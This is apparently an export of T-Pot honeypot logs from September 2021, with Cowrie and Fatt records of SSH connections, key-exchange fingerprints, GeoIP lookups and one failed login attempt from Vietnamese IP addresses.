"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52104, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.891297", "@timestamp": "2021-09-20T11:07:50.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23770	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:50.411033+03	2021-09-20 14:15:07.935471+03	{"_id": "pAbkAnwBvYTbRNuECA-D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49828, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.411033", "@timestamp": "2021-09-20T11:07:50.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23771	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:50.891112+03	2021-09-20 14:15:07.936471+03	{"_id": "pQbkAnwBvYTbRNuECA-D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52104, "timestamp": "2021-09-20T11:07:50.891112", "@timestamp": "2021-09-20T11:07:50.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23772	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.674993+03	2021-09-20 14:15:07.937471+03	{"_id": "rwbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:52104 (192.168.176.2:22) [session: 6ad814083280]", "session": "6ad814083280", "@version": "1", "protocol": "ssh", "src_port": 52104, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.674993Z", "@timestamp": "2021-09-20T11:07:50.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23773	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:50.71105+03	2021-09-20 14:15:07.93847+03	{"_id": "sAbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:51308 (192.168.176.2:22) [session: cb8f41121165]", "session": "cb8f41121165", "@version": "1", "protocol": "ssh", "src_port": 51308, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.711050Z", "@timestamp": "2021-09-20T11:07:50.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23774	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:51.048533+03	2021-09-20 14:15:07.939471+03	{"_id": "sQbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58210 (192.168.176.2:22) [session: 466dc77f0ea6]", "session": "466dc77f0ea6", "@version": "1", "protocol": "ssh", "src_port": 58210, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.048533Z", "@timestamp": "2021-09-20T11:07:51.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23775	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.35899+03	2021-09-20 14:15:07.94147+03	{"_id": "uwbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7bef025ad5d8", "@version": "1", "duration": 2.9050002098083496, "timestamp": "2021-09-20T11:07:50.358990Z", "@timestamp": "2021-09-20T11:07:50.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23776	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.400948+03	2021-09-20 14:15:07.94247+03	{"_id": "vAbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "28222e2c42e2", "@version": "1", "duration": 2.4759018421173096, "timestamp": "2021-09-20T11:07:50.400948Z", "@timestamp": "2021-09-20T11:07:50.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23777	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.411777+03	2021-09-20 14:15:07.943471+03	{"_id": "vQbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5aef5ee0c8e4", "@version": "1", "timestamp": "2021-09-20T11:07:50.411777Z", "@timestamp": "2021-09-20T11:07:50.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23778	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.532188+03	2021-09-20 14:15:07.944471+03	{"_id": "vgbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "a69663fcb61b", "@version": "1", "duration": 4.488579273223877, "timestamp": "2021-09-20T11:07:50.532188Z", "@timestamp": "2021-09-20T11:07:50.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23781	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:50.725998+03	2021-09-20 14:15:07.948471+03	{"_id": "wQbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "725d61c226c3", "@version": "1", "duration": 2.804746389389038, "timestamp": "2021-09-20T11:07:50.725998Z", "@timestamp": "2021-09-20T11:07:50.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23782	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.893729+03	2021-09-20 14:15:07.94947+03	{"_id": "wgbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [games/games] failed", "session": "103bdacf082c", "@version": "1", "password": "games", "username": "games", "timestamp": "2021-09-20T11:07:50.893729Z", "@timestamp": "2021-09-20T11:07:50.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23783	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.894666+03	2021-09-20 14:15:07.95047+03	{"_id": "wwbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6ad814083280", "@version": "1", "timestamp": "2021-09-20T11:07:50.894666Z", "@timestamp": "2021-09-20T11:07:50.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
